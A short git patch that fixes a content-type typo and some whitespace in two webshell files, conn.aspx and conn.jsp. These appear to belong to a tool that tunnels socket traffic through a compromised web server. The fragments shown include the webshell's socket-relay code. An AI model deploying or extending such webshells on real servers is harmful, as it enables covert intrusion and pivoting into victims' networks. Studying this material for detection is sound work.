From b3256b7e2cb6bffae3ce91b465b6344781d036bf Mon Sep 17 00:00:00 2001 From: xch12i5 <40517505+xCh12i5@users.noreply.github.com> Date: Fri, 18 Jan 2019 21:51:09 +0100 Subject: [PATCH] Solves ContentType issue in webshells. --- webshells/conn.aspx | 4 ++-- webshells/conn.jsp | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/webshells/conn.aspx b/webshells/conn.aspx index 3b777f7..0e52e11 100644 --- a/webshells/conn.aspx +++ b/webshells/conn.aspx @@ -168,7 +168,7 @@ if (Request.Url.Query.StartsWith("?proxy")){ //XXX:Stupid hack but works return; } } - else{ + else{ Socket socket = Session["socket"] as Socket; //Read data from request and write to socket @@ -189,7 +189,7 @@ if (Request.Url.Query.StartsWith("?proxy")){ //XXX:Stupid hack but works //Welcome to C trim byte[] received = new byte[bytesRead]; Array.Copy(receiveBuffer, received , bytesRead); - + Response.ContentType = "application/octet-stream"; Response.BinaryWrite(received); } else { diff --git a/webshells/conn.jsp b/webshells/conn.jsp index 179ff81..cd55fce 100644 --- a/webshells/conn.jsp +++ b/webshells/conn.jsp @@ -192,9 +192,9 @@ if(request.getParameter("proxy") == "" ){ return; } else{ - response.setContentType("application/oclet-stream"); + response.setContentType("application/octet-stream"); //Allocate buffers for socket IO - ByteBuffer dataIn = ByteBuffer.allocate(bufferSize); + ByteBuffer dataIn = ByteBuffer.allocate(bufferSize); ByteBuffer dataOut = ByteBuffer.allocate(bufferSize); try{